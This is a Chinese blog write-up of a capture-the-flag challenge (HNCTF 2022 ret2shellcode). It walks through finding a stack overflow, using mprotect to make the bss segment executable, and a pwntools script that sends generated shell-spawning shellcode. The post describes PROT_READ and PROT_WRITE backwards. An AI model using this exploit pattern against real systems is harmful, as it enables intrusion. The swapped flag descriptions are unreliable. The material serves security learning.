【PWN · ret2shellcode】[HNCTF 2022 Week1]ret2shellcode

本蒟蒻的ret2shellcode的开篇之作!

第一次实战ret2shellcode,该类型的简单题但是也研究了很久!

目录

前言

一、checksec查看二进制文件

二、查找后门函数 

三、IDA反汇编 

bss段

mprotect()函数

四、GDB调试

GDB基本的一些用法

偏移量计算

五、exp 

shellcode获取 

context

总结


前言

ret2shellcode——顾名思义,控制执行流到shellcode

在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?

依此,主要的过程如下:

(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限

(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码 


写在前面

在按部就班地进行尝试过程中,总结了一些知识和方法,其中有一些因为个人的萌新蒟蒻水平,是未知错误,尚不能解决,但是复现给大家,也许大家比较清楚个中问题。

下面将复现我的实现过程

一、checksec查看二进制文件


二、查找后门函数 

按照我们的思路(虽然题目很明显在提示,但是这步在逻辑上是不可或缺的),看看有没有后门函数供我们ret2text

objdump -t XXX               查看程序中使用到的函数
objdump -d XXX               查看程序中函数的汇编代码
objdump -d -M intel XXX      查看程序中函数的汇编代码,并且汇编代码是intel架构的
objdump -d -j .plt XXX       查看plt表
           -j的参数有:.text  代码段
                      .const 只读数据段(有些编译器不使用此段,将只读数据并入.data段)
                      .data  读写数据段
                      .bss   bss段

下面还有好多没有截屏出来,but没有我们期待的后门函数——那么ret2text应该就是不行的,尝试如题目的,ret2shellcode 


三、IDA反汇编 

F5大法

 一眼read危险函数,存在栈溢出,非常好。然后将s复制到buff里,buff在哪里呢?bss段

 bss段

在采用段式内存管理的架构中(比如 intel 的 80x86 系统),bss 段(Block Started by Symbol segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,一般在初始化时 bss 段部分将会清零(bss 段属于静态内存分配,即程序一开始就将其清零了)。比如,在 C 语言程序编译完成之后,已初始化的全局变量保存在.data 段中,未初始化的全局变量保存在.bss 段中。

简单来说,定义而没有赋初值的全局变量和静态变量 , 放在这个区域

程序主要溢出部分我们理清了,可是回顾之前的checksec,这个二进制文件是NX enabled的,不可执行保护啊!怎么办??——话说第8行代码mprotect(...)是什么意思? 

mprotect()函数

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性
函数原型如下:

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行

4)PROT_NONE:表示内存段中的内容根本没法访问。

——详情点这里

也就是说,部分地址在经过这一句代码后,保护属性变成了可执行! 因此可以用ret2shellcode!


四、GDB调试

原本其实对GDB并不熟悉,想着也借着这个机会好好学习一下基本用法。为这么突然要用GDB调试呢?主要是对bss段以及什么地方返回不清楚——好像偏移量可以通过报错来显示

GDB基本的一些用法

说一下本次用到的GDB的一些基本用法

next/n          单步调试
next/n [num]    单步跳过num步
b main          在main函数处设置断点
vmmap           查看各段属性/rxw
run/r           运行程序

我们先来尝试调试一下,顺便看看是否段保护属性值真的发生了变化

在main函数处下断点 

r(run)开始运行

vmmap查看各段保护

buff所在的段

 为 rw-p  可读写不可执行

n 30  单步调试30次后 

此时已经执行过mprotect函数,我们再vmmap查看一下保护情况

gdb贴心的标红了,此时已经有可执行权限,因此我们ret2shellcode也是可行的。

偏移量计算

插件——pwngdb 和 peda,我用的是peda

那么怎么通过报错来显示偏移量呢?

  • pwndbg
  1. cyclic 200 
  2. cyclic -l 异常地址
  • peda
  1. pattern create 200
  2. pattern offset 异常地址

输入过量的数据覆盖EIP,然后在dbg调试中的异常地址,即可找到偏移量,这篇博客说明了用法。 

然而,我却遇到了问题

pattern create构造400个字符,然后复制粘贴给read(运行到了read函数处会等待输入,此时复制粘贴到n下一行(卡住了等待输入),注意不要单引号) 

异常地址0x40125c 

pattern offset 0x40125c企图得到偏移量

哦吼,失败了~~不知道有没有大佬说一下why 

——后来通过别人的wp,好像偏移量就是

buff 256个字节    +    8个字节64位程序的ebp(?)   +   ret 

【不太明白】 

补:

 感谢!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

不管辽,开始exp编写


五、exp 

shellcode获取 

获取Shellcode的两种方法:

  • 手写(初学时推荐手写):想办法调用execve("/bin/sh",null,null)

传入字符串:/bin///sh  (why /// 三个不晓得,求助)
系统调用execve

  • pwntools自动生成(比赛时使用这种方法)

先指定context.arch="i386/amd64"  (context稍后细🔒)
asm(自定义shellcode)
asm(shellcraft.sh())

自动生成shellcode

from pwn import *

r = remote(" ",port)  #远程连接,“”网址,port填端口号

buff_addr=0x4040a0

shellcode = asm(shellcraft.sh())

bias=0x100+0x8        # 256+8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

r.sendline(payload)

r.interactive()

但是连接时似乎出了问题。。。

不回显!!淦,直接退出。。。

context

context 是 pwntools 用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

一般来说我们设置context只需要简单的一句话:

context(os='linux', arch='amd64', log_level='debug')

或者 context(os='linux', arch='amd64')

———点这里

1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
————————————————

不知道是不是没有设置context的缘故,but试一试呗~

from pwn import *

context.os='Linux'
context.arch='amd64'
context.log_level='debug'

r = remote(" ",port)  #远程连接,“”网址,port填端口号

buff_addr=0x4040a0

shellcode = asm(shellcraft.sh())

bias=0x100+0x8        # 256+8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

r.sendline(payload)

r.interactive()

 运行一下~

哦吼,flag出来了 !!应该就是要配置一下context的缘故吧!养成这个习惯!


总结

虽然这是一题“非常简单“的ret2shellcode,但是对于本萌新来说,第一次做ret2shellcode,有必要认真的总结一下做题规律。

在这些尝试中,确实学到了好多好多东西,与诸君共勉! 

  • 11
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值